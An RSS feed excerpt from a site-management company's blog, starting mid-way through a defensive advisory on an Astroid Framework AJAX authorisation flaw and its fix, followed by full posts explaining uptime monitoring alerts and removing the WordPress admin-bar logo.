&lt;p&gt;The Astroid Framework’s &lt;code&gt;Admin.php&lt;/code&gt; handled all AJAX operations for template management through protected methods like &lt;code&gt;save()&lt;/code&gt;, &lt;code&gt;media()&lt;/code&gt;, &lt;code&gt;getLayouts()&lt;/code&gt;, &lt;code&gt;search()&lt;/code&gt;, &lt;code&gt;clearCache()&lt;/code&gt;, and &lt;code&gt;installTemplate()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Each of these methods checked for a valid CSRF token with &lt;code&gt;Session::checkToken()&lt;/code&gt;, but none of them verified that the requesting user was an authenticated administrator with appropriate permissions. The CSRF token is meant to prevent cross-site request forgery from authenticated sessions. It was never designed to be the only authentication check.&lt;/p&gt;
&lt;p&gt;The token from the login form is embedded in the page HTML and accessible to anyone who can view the page. Using it as the sole authentication mechanism is like checking that someone has a key to the building’s front door but never asking if they’re actually an employee.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/templaza/astroid-framework/commit/db068db99f4ec62923305b5f402393d3ad11bab5&quot;&gt;fix&lt;/a&gt; adds a single authorization check before each sensitive operation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$user &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Factory&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;getApplication&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getIdentity&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;$user&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;authorise&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;core.manage&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;com_templates&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    throw&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;span&gt;Exception&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;You are not authorized to access this page.&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; 403&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Standard Joomla ACL. It should have been there all along.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Update, 31 March 2026&lt;/p&gt;&lt;div&gt;&lt;p&gt;The same problem keeps showing up. &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 5.4.4 and 6.0.4&lt;/a&gt; shipped with ACL hardening for &lt;code&gt;com_ajax&lt;/code&gt; in Joomla core, alongside the &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework (CVE-2026-21627)&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 (CVE-2026-3098)&lt;/a&gt; disclosures earlier this month. That’s four AJAX authorization failures in March 2026 alone, across plugins and core. If you build Joomla extensions, audit your &lt;code&gt;com_ajax&lt;/code&gt; handlers now.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;Update, 7 April 2026&lt;/p&gt;&lt;div&gt;&lt;p&gt;And it happened again, this time on WordPress. &lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads (CVE-2026-0740)&lt;/a&gt; disclosed on April 6: CVSS 9.8 unauthenticated arbitrary file upload in an &lt;code&gt;admin-ajax.php&lt;/code&gt; handler, around 50,000 affected sites. The vendor even shipped a first patch that did not actually fix it - only 3.3.27 closes the hole. Same pattern as Astroid, different platform.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Want someone to clean it up for you?&lt;/h2&gt;
&lt;p&gt;If you’d rather hand this off, visit &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; and submit a request. For a one-time set fee, the site gets cleaned, upgraded, locked down, and returned secure. Non-subscribers get a free month of mySites.guru included.&lt;/p&gt;
&lt;h2&gt;Related&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework Vulnerability&lt;/a&gt; - CVE-2026-21627 (CVSS 9.5) follows the same pattern: a shared Joomla framework plugin with unauthenticated AJAX endpoints, affecting 8,297 sites across our dataset&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 Arbitrary File Read&lt;/a&gt; - CVE-2026-3098 on WordPress, same root cause: AJAX nonce without capability check&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads CVE-2026-0740&lt;/a&gt; - CVSS 9.8 unauthenticated RCE in a WordPress plugin &lt;code&gt;admin-ajax.php&lt;/code&gt; handler affecting around 50,000 sites, with a failed first patch that only shipped the real fix in 3.3.27&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Four WordPress Plugins That Shipped Security Patches in March 2026&lt;/a&gt; - Elementor, Yoast SEO, WPForms, and Really Simple Security all disclosed vulnerabilities in the same month, showing how widespread the problem is across the WordPress ecosystem&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5944-joomla-6-0-4-5-4-4-security-bugfix-release.html&quot;&gt;Joomla 5.4.4 / 6.0.4 release&lt;/a&gt; - Joomla core itself needed &lt;code&gt;com_ajax&lt;/code&gt; ACL hardening, same class of bug&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-tinymce-firefox-148-fix/&quot;&gt;Joomla TinyMCE Editor Broken in Firefox 148&lt;/a&gt; - Another recent Joomla incident where the Mass Upgrade tool let agencies push a fix to every site at once&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-02-24&lt;/strong&gt; The first dropper appears, a week before the wave An astroid_poc variant dropped into the /images/ directory, alongside randomly named files like blp_9948.php. Check your media folders, not just the plugin directories.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-01&lt;/strong&gt; Mass exploitation begins The wave of attacks against Astroid Framework installs starts in earnest, before the flaw is public and before there is a patch.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-04&lt;/strong&gt; CVE-2026-21628 is publicly reported at CVSS 10.0 Critical An authorisation failure on an AJAX endpoint, the same shape of flaw that would turn up in Novarain Framework, Smart Slider 3 and Ninja Forms within weeks.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-05&lt;/strong&gt; Astroid Framework 3.3.11 patches it The fix arrives the day after public disclosure, and four days after the mass exploitation started.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-06&lt;/strong&gt; 3.3.12 repairs two regressions 3.3.11 introduced Video backgrounds and mega menu widths. 3.3.13 followed on 15 March with no additional security fixes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-03-31&lt;/strong&gt; Joomla hardens com_ajax in core Joomla 5.4.4 and 6.0.4 ship ACL hardening for the shared AJAX entry point, so the platform closes some of the exposure rather than leaving every extension to get it right alone.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-21628/&quot;&gt;CVE-2026-21628&lt;/a&gt; - our record page for this CVE (CVSS 10.0 Critical), linking through to the NVD and CVE.org entries&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/templaza/astroid-framework/releases/tag/v3.3.13&quot;&gt;Astroid Framework 3.3.13 release&lt;/a&gt; - latest version with GSAP fix, touch navigation improvements, and dependency updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/templaza/astroid-framework/releases/tag/v3.3.12&quot;&gt;Astroid Framework 3.3.12 release&lt;/a&gt; - first stable patched version (fixed 3.3.11 regressions)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/templaza/astroid-framework/commit/db068db99f4ec62923305b5f402393d3ad11bab5&quot;&gt;Fix commit on GitHub&lt;/a&gt; - the authorization check that was missing&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomlaforum.ch/joomla6-erweiterungen/39320-seltsame-plugins-allenfalls-gehackte-joomla-6-seite&quot;&gt;Swiss Joomla forum thread&lt;/a&gt; - early reports of compromised Joomla 6 sites (German)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://forum.joomla.fr/forum/joomla-5-x/questions-g%C3%A9n%C3%A9rales-ab/2073894-hack&quot;&gt;French Joomla forum thread&lt;/a&gt; - reports of compromised Joomla 5 sites (French)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX Endpoints: The Biggest CMS Security Blind Spot&lt;/a&gt; - how Astroid, Novarain, Smart Slider 3, and Joomla core all share the same AJAX authorization failure&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a broader look at CMS security, see our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>hack detection</category><category>astroid</category><category>vulnerability</category><enclosure url="https://mysites.guru/img/og/blog/astroid-framework-security-vulnerability.png" length="0" type="image/png"/></item><item><title>Why you&apos;re getting downtime alerts (and why they matter)</title><link>https://mysites.guru/blog/uptime-monitoring-explained/</link><guid isPermaLink="true">https://mysites.guru/blog/uptime-monitoring-explained/</guid><description>How uptime monitoring works, what triggers downtime alerts when your site seems fine, and how to monitor hundreds of sites from a single dashboard.</description><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;You’ve probably had this experience: an email arrives from mySites.guru telling you a site is down, you open it in your browser, and it loads perfectly. Frustrating.&lt;/p&gt;
&lt;p&gt;But think about it from the other direction. Our server tried to reach your site three separate times and couldn’t. If we can’t get through, there’s a decent chance your visitors couldn’t either during that window.&lt;/p&gt;
&lt;h2&gt;How the Monitoring Checks Run&lt;/h2&gt;
&lt;p&gt;Every 5 minutes, our &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;custom-built monitoring engine&lt;/a&gt; checks each of your connected sites. We don’t fire off an alert on the first failed request. Instead, we run three checks before we tell you anything:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;We send a HEAD request to your site with a 45-second timeout. If it responds with a success code, we mark it as up and move on.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the first check fails, we wait 10 seconds and send another HEAD request. This catches momentary blips like a slow database query or a brief resource spike.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If the second check also fails, we wait another 10 seconds and send a full GET request. Some servers handle HEAD and GET differently, so the final check switches methods to rule that out.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We only send a downtime alert if all three checks fail. The &lt;a href=&quot;https://mysites.guru/uptime-monitoring/&quot;&gt;uptime monitoring&lt;/a&gt; page summarises what is checked and how you are alerted.&lt;/p&gt;
&lt;p&gt;In the worst case, where each request hits the full 45-second timeout, we’ve spent over two minutes trying to reach your site before alerting you. In practice, failed requests usually fail fast (connection refused, DNS error), so the whole thing takes well under a minute.&lt;/p&gt;
&lt;p&gt;When your site comes back, we pick that up on the next check cycle and send you a recovery notification, by email and to your &lt;a href=&quot;https://mysites.guru/blog/uptime-alert-webhooks/&quot;&gt;uptime webhook&lt;/a&gt; if you use one.&lt;/p&gt;
&lt;h2&gt;Why do you get alerts when your site “seems fine”?&lt;/h2&gt;
&lt;p&gt;You check from your browser and it loads. So why are we saying it’s down? There are a few common causes.&lt;/p&gt;
&lt;h3&gt;Your host is blocking our IP address&lt;/h3&gt;
&lt;p&gt;This is the most common one. Hosting providers run firewalls and intrusion detection systems (ModSecurity, Fail2Ban, Imunify360) that automatically block IP addresses making repeated requests. If your sites are &lt;a href=&quot;https://mysites.guru/blog/how-to-audit-your-local-sites-with-mysites-guru-or-behind-firewalls/&quot;&gt;behind a corporate firewall&lt;/a&gt;, the same thing can happen. Our monitor hits your site every 5 minutes from the same IP, and some security tools decide that’s suspicious and block us.&lt;/p&gt;
&lt;p&gt;SiteGround is a specific, recurring example: its &lt;a href=&quot;https://mysites.guru/blog/siteground-captcha-blocking-mysites-guru/&quot;&gt;Anti-Bot AI serves our worker a captcha challenge&lt;/a&gt; instead of your page, which looks exactly like a downtime from our side. If your sites are on SiteGround, that post has the exact fix.&lt;/p&gt;
&lt;p&gt;The block might be temporary, lasting a few minutes to a few hours, or permanent until someone removes it manually. If you see your site going down and coming back up in a pattern, a temporary block is almost certainly what’s happening.&lt;/p&gt;
&lt;h3&gt;Your server is briefly overloaded&lt;/h3&gt;
&lt;p&gt;Servers have finite resources. During traffic spikes, heavy cron jobs, backup processes, or plugin updates, there may not be enough capacity to handle new requests for a few seconds. If our check happens during that window, all three attempts can fail.&lt;/p&gt;
&lt;p&gt;This is especially common on shared hosting where your sites compete with other customers for the same resources. A full &lt;a href=&quot;https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/&quot;&gt;disk partition&lt;/a&gt; can cause the same kind of failure.&lt;/p&gt;
&lt;h3&gt;DNS resolution failures&lt;/h3&gt;
&lt;p&gt;If your domain’s DNS servers are slow or temporarily unavailable, we can’t resolve your domain to an IP address, and the check fails before it even reaches your server. Less common, but it happens, particularly with budget DNS providers.&lt;/p&gt;
&lt;h3&gt;SSL/TLS handshake failures&lt;/h3&gt;
&lt;p&gt;An &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;expired or misconfigured SSL certificate&lt;/a&gt;, or an overloaded TLS stack, will cause the secure connection to fail before any page content gets exchanged. We treat that as a failed check.&lt;/p&gt;
&lt;h2&gt;Why you might NOT get an alert when a site briefly went down&lt;/h2&gt;
&lt;p&gt;Sometimes a server reboots or briefly chokes, and you check the dashboard expecting to see a DOWN event, and there’s nothing. No email, no log entry, no record at all.&lt;/p&gt;
&lt;p&gt;That’s the 5-minute cadence at work.&lt;/p&gt;
&lt;p&gt;Each site is checked once every 5 minutes. The 3-step verification (HEAD, HEAD, GET) all happens inside that single check, not across three separate checks 5 minutes apart. So if your server is unreachable for, say, 90 seconds and then comes back, two things determine whether we see it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Did our 5-minute check happen to fall during that 90-second window? If not, the site was unreachable but we weren’t looking at that moment, so nothing gets recorded.&lt;/li&gt;
&lt;li&gt;If the check did occur in the window, did all three attempts (HEAD, HEAD, GET) fall inside it? If even one attempt got a successful response, the check passes and nothing gets recorded.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For a fast server reboot, the kind that finishes in 60 to 90 seconds, you can easily end up with no DOWN events recorded for any of the sites on that server, even though every site was technically unreachable for a minute. Most 5-minute checks either fall before or after the reboot window, or fall during it but catch a successful HEAD or GET before the window closes.&lt;/p&gt;
&lt;h3&gt;Why we don’t check more often&lt;/h3&gt;
&lt;p&gt;5 minutes is a trade-off, and for an agency tool it’s the right one.&lt;/p&gt;
&lt;p&gt;If you manage 500 sites across a handful of servers, a 1-minute check interval would mean:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Five times more traffic from our monitoring IP hitting your hosts&lt;/li&gt;
&lt;li&gt;Five times more chances of triggering firewalls, rate limiters, or “this IP looks suspicious” rules&lt;/li&gt;
&lt;li&gt;When a shared server hiccups, you get five times more emails for the same event&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Most agencies don’t need to know about a 60-second blip on a single site. They need to know when something stays broken: a site that won’t come back, an SSL cert that’s expired, a hack signature that’s appeared. The 5-minute cadence catches sustained outages while keeping the noise floor low.&lt;/p&gt;
&lt;h3&gt;If you need 1-minute detection&lt;/h3&gt;
&lt;p&gt;If you have specific sites where a 60-second outage actually costs you money, run a dedicated uptime service alongside mySites.guru. Plenty of tools are built for exactly that use case and check at 1-minute or 30-second intervals. Use them for the handful of business-critical sites, and let mySites.guru handle the long tail.&lt;/p&gt;
&lt;p&gt;mySites.guru is built for agencies managing hundreds of sites where the realistic outage scenarios are server-level, not single-site. Flooding you with emails about every brief blip would be worse than the problem it’s trying to flag.&lt;/p&gt;
&lt;h2&gt;When All Your Sites Go Down at Once&lt;/h2&gt;
&lt;p&gt;If you manage dozens or hundreds of sites and they all show as offline at the same time, it’s almost never a coincidence.&lt;/p&gt;
&lt;p&gt;When all your sites live on the same server, they share a single point of failure. If that server has a problem, every site on it goes unreachable at once. Common causes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A runaway process or traffic surge eats all available RAM and the web server stops accepting connections&lt;/li&gt;
&lt;li&gt;Heavy background tasks (backups, malware scans, bulk updates) peg the CPU so hard that nothing else gets served&lt;/li&gt;
&lt;li&gt;The server hits its maximum concurrent connections and starts rejecting new ones&lt;/li&gt;
&lt;li&gt;The server’s firewall sees our IP hitting many different domains and decides we’re attacking it, blocking us across the board&lt;/li&gt;
&lt;li&gt;A brief network interruption between our server and yours&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These events are usually short - 30 seconds to a couple of minutes - but our 5-minute check interval with 3-step verification means even brief outages get caught and reported.&lt;/p&gt;
&lt;p&gt;If all your sites are on one server and they all go offline together, the server is the problem. Talk to your hosting provider about the resource limits on your plan, or consider spreading sites across multiple servers so a problem on one only affects part of your portfolio.&lt;/p&gt;
&lt;h2&gt;What to Do When an Alert Fires&lt;/h2&gt;
&lt;h3&gt;1. Whitelist our monitoring IP&lt;/h3&gt;
&lt;p&gt;Start here. Ask your hosting provider to whitelist this IP address:&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;code&gt;165.227.239.229&lt;/code&gt;
    
      
      
    
  &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Have them add it to their firewall’s allow list so it never gets blocked or rate-limited. This solves the most common cause of false downtime alerts.&lt;/p&gt;
&lt;p&gt;If you manage your own server, you can do it yourself. In CSF (ConfigServer Security &amp;amp; Firewall), add the IP to &lt;code&gt;/etc/csf/csf.allow&lt;/code&gt;. In Fail2Ban, add it to the &lt;code&gt;ignoreip&lt;/code&gt; setting.&lt;/p&gt;
&lt;h3&gt;2. Check your server resources&lt;/h3&gt;
&lt;p&gt;Frequent brief downtime across multiple sites on the same server usually means the server is underpowered. Look at your memory usage, CPU load during the times alerts arrive, and disk space. Your hosting control panel usually has graphs for this, or ask their support team.&lt;/p&gt;
&lt;h3&gt;3. Spread sites across multiple servers&lt;/h3&gt;
&lt;p&gt;If you have 50+ sites on one server, splitting them across two or three servers means a problem on one only takes down part of your site portfolio. It also makes troubleshooting easier because you can see exactly which server is having issues based on which group of sites goes offline.&lt;/p&gt;
&lt;h3&gt;4. Review your security software&lt;/h3&gt;
&lt;p&gt;Check that rate-limiting thresholds on your server or security plugins aren’t set too aggressively. Monitoring traffic from a known IP every 5 minutes is not an attack.&lt;/p&gt;
&lt;h3&gt;5. Look at the timing&lt;/h3&gt;
&lt;p&gt;If your alerts cluster around specific times (say, every night at 2 AM), something scheduled on your server is probably eating all available resources during that window. &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Backups&lt;/a&gt; and bulk updates are the usual suspects - consider &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;staggering your schedules&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;“My webhost says your monitoring is causing high load”&lt;/h2&gt;
&lt;p&gt;Every so often a customer forwards us a message from their hosting support team claiming that &lt;code&gt;165.227.239.229&lt;/code&gt; is hammering the server and causing performance problems. It isn’t.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;#how-do-the-monitoring-checks-work&quot;&gt;The monitoring checks work like this&lt;/a&gt;: one HEAD request per domain, every five minutes. That’s 12 requests per hour, per site. A HEAD asks for response headers only, not the page body, so on a normally configured site WordPress, Joomla, PHP, and the database never run. The web server returns headers and closes the connection. There is no meaningful CPU, memory, or database cost.&lt;/p&gt;
&lt;p&gt;A single real visitor loading your homepage triggers a full GET: PHP boots, the database is queried, the theme renders, images and CSS and JavaScript are served. One visit costs hundreds of times more than a month of our HEAD checks put together.&lt;/p&gt;
&lt;h3&gt;1,000 sites on one server means 1,000 checks every 5 minutes&lt;/h3&gt;
&lt;p&gt;If you host 1,000 customer sites on a single server, we’ll make 1,000 HEAD requests against that server every 5 minutes. One per domain. A support associate skimming the access log sees a thousand hits from our IP in a five-minute window and concludes we’re abusing the server.&lt;/p&gt;
&lt;p&gt;We aren’t. That’s 1,000 &lt;em&gt;separate sites&lt;/em&gt; each receiving exactly one HEAD request every 5 minutes. Per domain, the footprint is tiny. The total only looks large because the server happens to be hosting a lot of domains, and each of those domains is paying for its own uptime monitoring.&lt;/p&gt;
&lt;p&gt;Most dedicated uptime monitoring services (UptimeRobot, Pingdom, StatusCake and the rest) run their checks every minute, not every five. So if those services are fine on this server, ours, which generates one-fifth of the traffic, should be too.&lt;/p&gt;
&lt;h3&gt;If your host really is seeing load from our IP&lt;/h3&gt;
&lt;p&gt;Two possibilities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your homepage is heavy enough that even one request every 5 minutes is noticeable. The frequency isn’t the issue then, the homepage is. Real visitors are paying that same cost far more often than we are.&lt;/li&gt;
&lt;li&gt;The host is reading access log volume and pattern-matching on the IP without checking what the requests are doing. Ask them to confirm the request method (it’ll be &lt;code&gt;HEAD&lt;/code&gt;) and the response body size (it’ll be 0 bytes).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To check for yourself, your server’s access log will have entries like this from our IP:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;165.227.239.229 - - [12/May/2026:09:00:00 +0000] &quot;HEAD / HTTP/1.1&quot; 200 0 &quot;-&quot; &quot;mySites.guru Uptime Monitor&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;HEAD&lt;/code&gt; method and the &lt;code&gt;0&lt;/code&gt;-byte response are the proof. Send that line to your host if they need convincing.&lt;/p&gt;
&lt;h2&gt;Why should you take the alerts seriously?&lt;/h2&gt;
&lt;p&gt;We built the monitoring engine to avoid false positives. Three checks, pauses between each, a different HTTP method on the final attempt. If we send you an alert, our server could not reach your site after multiple attempts over at least 20 seconds.&lt;/p&gt;
&lt;p&gt;If we can’t reach your site, your visitors probably can’t either. Each downtime alert is a window where real visitors may have hit an error page or a timeout instead of your site.&lt;/p&gt;
&lt;p&gt;The alerts aren’t the problem. They’re telling you about it.&lt;/p&gt;
&lt;h2&gt;Need help?&lt;/h2&gt;
&lt;p&gt;If you’re still getting frequent alerts after whitelisting our IP, &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;get in touch&lt;/a&gt;. We can check the response codes and timing from our end to help narrow down what’s going on.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;For the broader monitoring picture, see our &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;complete monitoring and alerting guide&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>uptime</category><category>monitoring</category><category>alerts</category><category>downtime</category><category>troubleshooting</category><enclosure url="https://mysites.guru/img/og/blog/uptime-monitoring-explained.png" length="0" type="image/png"/></item><item><title>How to Remove the WordPress Logo from the Admin Bar with One Click</title><link>https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/</link><guid isPermaLink="true">https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/</guid><description>The WordPress admin bar logo links to WordPress.org and identifies your CMS. Remove it in one click with mySites.guru for a white-label admin.</description><pubDate>Tue, 03 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What is the WordPress logo in the admin bar?&lt;/h2&gt;
&lt;p&gt;Every WordPress installation displays the WordPress logo in the top-left corner of the admin toolbar. Hovering over it reveals a dropdown menu linking to WordPress.org, documentation, support forums, and a feedback page.&lt;/p&gt;
&lt;p&gt;For WordPress developers and site administrators, these links are occasionally useful. For clients, content editors, and end users, they’re a source of confusion and a missed branding opportunity.&lt;/p&gt;
&lt;h2&gt;Why should you remove it?&lt;/h2&gt;
&lt;h3&gt;White-label client delivery&lt;/h3&gt;
&lt;p&gt;If you build WordPress sites for clients, the admin interface is part of what you’re delivering. A WordPress logo in the admin bar says “this is WordPress” when you might want it to say “this is your website’s management panel.” Removing the logo is a standard white-labelling step alongside custom login pages and branded dashboard widgets. Pair it with &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;white-label client reports&lt;/a&gt; and the result is a fully branded experience from login to reporting.&lt;/p&gt;
&lt;h3&gt;Reduced confusion&lt;/h3&gt;
&lt;p&gt;Non-technical users click things. The WordPress logo menu links to WordPress.org, which is irrelevant to someone who just needs to publish a blog post or update a product listing. Removing it eliminates a distraction and keeps users focused on the tools they actually need.&lt;/p&gt;
&lt;h3&gt;Cleaner interface&lt;/h3&gt;
&lt;p&gt;Fewer controls in the admin bar reduce visual noise. It’s a small thing, but it makes the admin panel feel intentional rather than out-of-the-box.&lt;/p&gt;
&lt;h3&gt;Marginal performance&lt;/h3&gt;
&lt;p&gt;The WordPress logo menu includes HTML, CSS, and JavaScript for the dropdown. Removing it saves a small amount of page weight. On individual page loads it’s negligible, but across thousands of admin page views per month on a busy multi-user site, it adds up.&lt;/p&gt;
&lt;h2&gt;How do you remove it manually?&lt;/h2&gt;
&lt;p&gt;The standard approach is a function in your theme or a must-use plugin:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;add_action&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;wp_before_admin_bar_render&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; ()&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    global&lt;/span&gt;&lt;span&gt; $wp_admin_bar;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $wp_admin_bar&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;remove_menu&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;wp-logo&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This removes the WordPress logo node from the admin bar for all users. You can wrap it in a capability check if you want admins to still see it.&lt;/p&gt;
&lt;p&gt;The manual approach works fine for a single site. For a portfolio of sites with different themes, you’d need to add this to each site’s theme or create a must-use plugin for each server. That’s where &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;managing multiple WordPress sites from a single dashboard&lt;/a&gt; pays off.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://mysites.guru/img/blog/remove-wordpress-logo-all-sites.png&quot; alt=&quot;View and toggle the WordPress logo setting across all your WordPress sites at once&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;How does mySites.guru handle it?&lt;/h2&gt;
&lt;p&gt;mySites.guru’s WordPress Configuration audit checks whether the WordPress logo is still showing in the admin bar. If it is, click fix and the connector removes it. The change is still there after WordPress core updates and theme switches because it’s handled by the connector plugin, not theme code. It works the same way as the &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;one-click toggles for debug constants&lt;/a&gt; - the dashboard flags the issue and you fix it without editing files.&lt;/p&gt;
&lt;p&gt;Want it back for development? Toggle it on again from the dashboard.&lt;/p&gt;
